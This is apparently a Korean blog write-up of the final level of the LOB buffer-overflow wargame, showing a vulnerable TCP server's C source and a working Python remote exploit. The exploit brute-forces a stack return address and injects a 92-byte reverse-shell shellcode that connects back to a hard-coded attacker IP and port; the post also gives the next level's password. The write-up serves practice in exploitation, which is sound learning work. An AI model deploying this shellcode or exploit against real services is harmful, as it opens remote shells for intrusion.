DongDD's IT

[LOB] Level20 xavius 본문

Wargame/LOB

[LOB] Level20 xavius

DongDD 2018. 2. 10. 15:54

[LOB] Level20 xavius



Problem



LOB 마지막 20번째 문제이다. 마지막 문제에서도 death_knight 실행 파일 하나와 death_knight.c 소스 코드 파일이 있었다.

먼저 소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
 
main()
{
        char buffer[40];
 
        int server_fd, client_fd;
        struct sockaddr_in server_addr;
        struct sockaddr_in client_addr;
        int sin_size;
 
        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }
 
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(6666);
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);
 
        if(bind(server_fd, (struct sockaddr *)&server_addr, 
                    sizeof(struct sockaddr)) == -1){
                perror("bind");
                exit(1);
        }
 
        if(listen(server_fd, 10== -1){
                perror("listen");
                exit(1);
        }
 
        while(1) {
                sin_size = sizeof(struct sockaddr_in);
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr
                            , &sin_size)) == -1){
                        perror("accept");
                        continue;
                }
 
                if (!fork()){
                        send(client_fd, 
                "Death Knight : Not even death can save you from me!\n",
                     520);
                        send(client_fd, "You : "60);
                        recv(client_fd, buffer, 2560);
                        close(client_fd);
                        break;
                }
 
                close(client_fd);
                while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
}
 






cs


이번 문제는 소스 코드가 굉장히 길었다. 먼저 buffer의 size는 40 bytes이고 윗 부분 일반적인 TCP 소켓 프로그래밍의 코드로 되어있었다.

server socket은 while문을 돌며 접속이 있을 때 접속을 받고 fork()를 통해 자식 프로세스를 생성해 client와 통신하게 한다.

client socket은 "Death Knight : Not even death can save you from me!"라는 message와 "You : "라는 message를 client에 보내고 client의 입력 받기를 기다린다. 입력을 받은 후 바로 close를 통해 socket을 종료시킨다.


일단 코드로 바로 볼 수 있는 취약점이 있다. buffer는 40 bytes이지만 recv를 통해 256 bytes의 data를 받는 것을 알 수 있다. 즉, 앞에서 했던 local 방식대로 overflow를 시켜 return address를 원격이지만 임의로 바꿀 수 있다는 것이다.

이 부분을 이용하면 문제를 해결할 수 있을 것 같았다.



Solution



1. Reverse Shell code 이용



처음에 death_knight 파일을 실행시켜놓고 해야하는 줄 알고 death_knight 파일을 실행했는데 bind error가 뜨는 것을 볼 수 있었다. 

ps를 통해 확인해보니 death_knight 권한으로 이미 파일이 실행되고 있는 상태였고 이 파일을 굳이 사용할 필요가 없을 거라고 생각되었다.


처음에는 remote bof에서 ROP밖에 알지 못해서 ROP쪽을 시도해보다가 안되는 것 같아 다른 방법을 찾아보았고 Reverse shell code라는 것을 알게 되었고 buffer에 이 reverse shell code를 넣고 return address에 이 위치를 넣어주면 된다는 것을 알았다.


Reverse shell은 server쪽에서 client에 연결을 시도하게 해주는 shell code라고 한다. 연결을 받을 곳에서 port를 열어 놓고 기다린 후 server쪽에서 reverse shell code를 실행하게 되면 연결이 왔다는 message를 받을 수 있다고 한다.


Refhttps://www.exploit-db.com/exploits/25497/


위 주소에서 reverse shell code를 가져와 내 컴퓨터의 ip address를 16진수로 바꿔서 넣어주었다. port는 31337로 기본으로 되어있는 shell code였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from socket import *
from struct import *
 
= lambda x: pack("<L",x)
= lambda x: unpack("<L",x)[0]
 
 
# ip = 192.168.14.100 - "\xc0\xa8\x0e\x64"
# port = 31337 - "\x7a\x69"
 
she ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89"
+"\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
+"\xc0\xa8\x0e\x64" #ip address
+"\x66\x68"
+"\x7a\x69"#port 
+"\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
+"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
+"\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
 
for i in range(0xbfffffff0xbf000000-1):
        payload="A"*44+p(i)+"\x90"*40+she
        s=socket(AF_INET, SOCK_STREAM)
        s.connect(("localhost"6666))
        s.recv(52)              # first line
        s.recv(6)               # second line
        s.send(payload)
        s.close()
 
cs


위처럼 코드를 작성했다. 처음에는 소스 코드를 수정해 buffer의 주소를 알아보았는데 그 상태로 시도했지만 제대로 된 return address가 아닌지 실패했다. 그래서 brute force를 통해 stack영역의 끝부터 1씩 감소시키며 지속적으로 연결을 시도하여 payload를 보냈다.


Payload = dummy(44 bytes, "A"*44) + return address(4 bytes, reverse shell code의 주소, 0xbf??????) + NOP + reverse shell code(92 bytes)


사용한 reverse shell code(92 bytes)

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x0e\x64\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80



server에서의 연결 요청을 받을 ubuntu에서 nc를 통해 port를 열어놓고 LOB에서 python 파일을 실행시키고 reverse shell code의 위치를 찾아 연결이 올 때까지 기다려보았다.



port을 열어 놓고 기다리니 server 쪽(LOB, 192.168.14.1)에서 연결 요청이 왔고 문제를 해결할 수 있었다.





**************     Answer & Flag     **************



1. Reverse Shell code 이용


Payload = dummy(44 bytes, "A"*44) + return address(4 bytes, reverse shell code의 주소, 0xbf??????) + NOP + reverse shell code(92 bytes)




Next ID : death_knight

Next PW : got the life




얻은 ID와 Password를 통해 접속해보니 txt파일이 하나 있었고 파일 내용을 보니 위와 같이 나왔다.

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level19 nightmare  (0) 2018.02.08
[LOB] Level18 succubus  (0) 2018.02.07
[LOB] Level17 zombie_assassin  (0) 2018.01.31
[LOB] Level16 assassin  (0) 2018.01.31
[LOB] Level15 giant  (0) 2018.01.30
Comments